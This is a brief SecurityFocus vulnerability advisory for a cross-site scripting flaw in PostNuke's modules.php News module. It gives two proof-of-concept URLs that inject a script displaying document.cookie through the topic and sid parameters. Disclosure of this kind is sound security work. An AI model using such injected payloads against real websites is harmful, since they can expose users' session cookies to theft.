PostNuke Modules.PHP Cross Site Scripting Vulnerability

The following proof of concepts were submitted:

http://news.postnuke.com/modules.php?op=modload&name=News&file=index&catid=&topic=>
<script>alert(document.cookie);</script>

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=
<script>alert(document.cookie);</script+>


 

Privacy Statement
Copyright 2010, SecurityFocus